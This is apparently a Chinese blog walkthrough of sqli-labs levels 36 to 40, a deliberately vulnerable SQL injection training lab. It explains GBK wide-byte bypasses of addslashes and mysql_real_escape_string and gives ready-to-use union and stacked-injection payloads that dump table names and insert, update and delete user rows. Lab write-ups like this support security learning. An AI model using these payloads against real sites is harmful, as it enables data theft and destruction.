概述
(36~40)包括堆叠注入,Mysql_real_escape_string 和addslashes区别
sql-lab-36
和前面的关卡一样,本题对 ’ 进行了注入,我们可以利用以前学过的办法,使用 %df 进行一个绕过。
判断注入点:?id=1 %df’ and 1=2 – q
判断字段数:id=1 %df’ order by 4-- q
判断显错位:?id=-1 %df’ union select 1,2,3-- q
判断库名:?id=-1 %df’ union select 1,database(),3-- q
判断表名:?id=-1 %df’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
判断列名:?id=-1%df’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 – q
查询数据:?id=-1 %df’ union select 1,id ,3 from emails – q
那36关和前面的关卡有什么不同呢
我们可以先观察一下它的源码:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
发现它的函数变为了ysql_real_escape_string($string);
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- x00
- n
- r
- ’
- "
- x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
那么这两个函数的区别是什么:
-
addslashes不知道任何有关MYSQL链接的字符集,换句话说它会把所有值为字符 ’
" 的字节进行转义。如果你正在使用不同于8位和UTF-8的其它字符,这些字节的值不一定全部都是表示字符‘、“、和x00。可能造成的结果是,MySQL接收这些字符后出现错误。
-
mysql_real_escape_string 转义的范围更大一些 ,与addslashes相比 ,它还同时对 r n x1a 进行转义。这些字符必须正确地告诉Mysql 否则会得到错误的查询结果。
在GBK里,0xbf27不是一个合法的多字符字符,但0xbf5c却是。在单字节环境里,0xbf27被视为0xbf后面跟着0×27(‘),同时0xbf5c被视为0xbf后面跟着0x5c()。
一个用反斜杠转义的单引号,是无法有效阻止针对MySQL的SQL注入攻击的。如果你使用addslashes,那么,我(攻击者,下同)是很幸运的。我只要注入一些类似0xbf27,然后addslashes将它修改为0xbf5c27,一个合法的多字节字符后面接着一个单引号。换句话说,我可以无视你的转义,成功地注入一个单引号。这是因为0xbf5c被当作单字节字符,而非双字节。
在这种情况下,尽管我使用了使用addslashes,我还是可以在不知道用户名和密码的情况下成功进行 sql 注入
而使用使用mysql_real_escape_string 就可以有效的避免这种漏洞
sql-lab-37
37关和34关是一模一样的
可以使用burpsuit hex 或者 使用汉字进行一个绕过。
具体解释可以看我之前发的博客 ,这里直接将汉字绕过的语句给捞过来:
判断字段数:汉’or 1=1 order by 3 – q
判断显错位:汉’union select 1,2 – q
判断库名:汉’union select 1,database()-- q
判断表名:汉’union select 1,table_name from information_schema.tables where table_schema= database() – q
判断列名:汉’union select 1,column_name from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q
判断数据: 汉’union select 1,id from emails-- q
当然在此之前我们可以先判断一下注入点:
发现username可以进行注入
发现password也可以进行注入
三十七关和三十四关还是有些区别的,具体我们可以看一下源码:
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
和36关一样只是将addslashes换为了Mysql_real_escape_string
sql-lab-38
38题的做法我们可以用做最初sql-lab-1的做法去做,但这题的关键不是去查绚里面的数据,而是源代码中的mysqli_multi_query($con1, $sql)),它意味着我们可以进行一个堆叠注入
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
在这一关我们要使用堆叠注入来进行
堆叠注入(相当于开启了一条全新的语句):
定义:从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行
堆叠注入原理:
-
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起。
-
两者之间有什么区别么?区别就在于union ll执行的语句类型是有限的,可以用来执行查,因为在我们每次进行sql注入的时候,我们输入语句会拼接到$sql="SELECT * FROM users WHERE … 那么在为查询赋予条件的时候我们是不可能在后面跟随另外的增删改查操作的。
而堆叠注入可以执行的是任意的语句。
例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
但堆叠注入不是在什么情况下都可以使用,可能会受到API或者数据库引擎又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。作者:dawsonenjoy
链接:https://www.jianshu.com/p/c50ced83414d
我们先查询他的表名和列名:
?id=-1 ’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
发现有emails,referers,uagents,users 三个表
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
发现下users表里有id,username,password 三个列名
所以,我们尝试插入一个语句:
-
?id=-1’ ;insert into users(id,username,password)values(20,‘hcjtn’,‘123’)
新增访问用户 id=20 用户名 hcjtn 密码 123
sql-lab-39
一样是堆叠注入
只不过sql的包裹引号给去掉了
我们先查询他的表名和列名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
发现有emails,referers,uagents,users 三个表
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
发现下users表里有id,username,password 三个列名
所以,我们尝试插入一个语句:
- ?id=-1 ;insert into users(id,username,password)values(19,‘hcjtn’,‘1234’)
sql-lab- 40
四十关只是一个包裹方式的变换 变为了 ?id=1’)
我们先查询他的表名和列名:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
发现有emails,referers,uagents,users 三个表
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
发现下users表里有id,username,password 三个列名
所以,我们尝试插入一个语句:
?id=-1’) ;insert into users(id,username,password)values(20,‘hcjtn’,‘1234’)
我们也可以尝试修改一下我们刚刚插入的语句:
?id=-1’) ;update users set username=‘tn’ where id=20-- q
然后在尝试将其消去:
?id=-1’) ;delete from users where id=20 – q
最后
以上就是沉默鸡为你收集整理的sql-lab (36~40)包括堆叠注入,Mysql_real_escape_string 和addslashes区别(后持续更新)的全部内容,希望文章能够帮你解决sql-lab (36~40)包括堆叠注入,Mysql_real_escape_string 和addslashes区别(后持续更新)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复